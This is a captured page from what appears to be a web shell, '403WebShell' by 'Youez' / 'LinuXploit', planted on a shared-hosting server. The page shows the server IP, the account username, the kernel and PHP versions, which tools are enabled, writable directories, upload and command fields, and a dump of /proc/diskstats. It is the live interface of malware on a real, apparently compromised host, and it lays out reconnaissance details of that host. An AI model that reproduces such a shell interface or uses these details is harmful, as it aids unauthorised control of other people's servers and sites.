Uname:Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64

403WebShell
403Webshell
Server IP : 162.241.144.16  /  Your IP : 216.73.217.62
Web Server : Apache
System : Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : roskiny21 ( 1131)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 82 0 688 7 6 0 4 3 0 5 7 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      32 sdc 20641028202 2026821 443018231122 3464169229 956326146 1276300248 86215851768 1925554807 0 366847066 4109848133 0 0 0 0
   8      33 sdc1 20641013358 2026821 443017854234 3464163000 886571347 1276300248 86215851768 1918164231 1 1655545392 736018427 0 0 0 0
   8      48 sdd 14937756046 2036258 332978899002 226715393 801765809 938736444 97244813032 1659846851 0 537834058 2259403670 0 0 0 0
   8      49 sdd1 14937741195 2036258 332978522002 226709127 749908506 938736444 97244813032 1653588518 0 121136825 1593472765 0 0 0 0
   8       0 sda 30258286228 869715279 909767678116 1200053505 58312863382 20255417188 2288161363448 307196645 0 3455260614 12616382 0 0 0 0
   8       1 sda1 3142962645 167771 100962429994 1539363457 6899975779 1225395863 292025623888 2519151420 0 1758961310 3974017677 0 0 0 0
   8       2 sda2 5534770 117 273381378 3846003 447830070 325522125 29005167928 921704185 0 105791418 920871806 0 0 0 0
   8       3 sda3 140404604 18365518 1288037368 53304810 518466222 163007814 5451792288 524283717 0 181866210 578026089 0 0 0 0
   8       4 sda4 32769 0 145278 14496 0 0 0 0 0 14268 14268 0 0 0 0
   8       5 sda5 26969336623 851181873 807243301706 3898485276 50019967368 18541491386 1961678779344 533594503 0 4179549556 3765175787 0 0 0 0
   8      16 sdb 2422847811 1005369 153324826810 1426648797 283576370 275725099 59046026544 735029890 0 3163608520 275658376 0 0 0 0
   8      17 sdb1 2422832978 1005369 153324449970 1426643214 275546544 275725099 59046026544 733676791 0 819809224 2113384512 0 0 0 0
   8      80 sdf 14492182332 2094621 532171838082 16380733 794716437 1031344161 74702553944 1373532218 0 4157850455 985174978 0 0 0 0
   8      81 sdf1 14492167466 2094621 532171460962 16374799 737124416 1031344161 74702553944 1367165545 0 334372749 1119004707 0 0 0 0
   8      64 sde 32124917640 3701328 693104387426 1669404206 2147334557 2291941028 397887084968 1047502674 0 3420378057 1191551987 0 0 0 0
   8      65 sde1 32124902779 3701328 693104010346 1669398273 2019766513 2291941028 397887084968 1033963886 0 880460190 2134008912 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit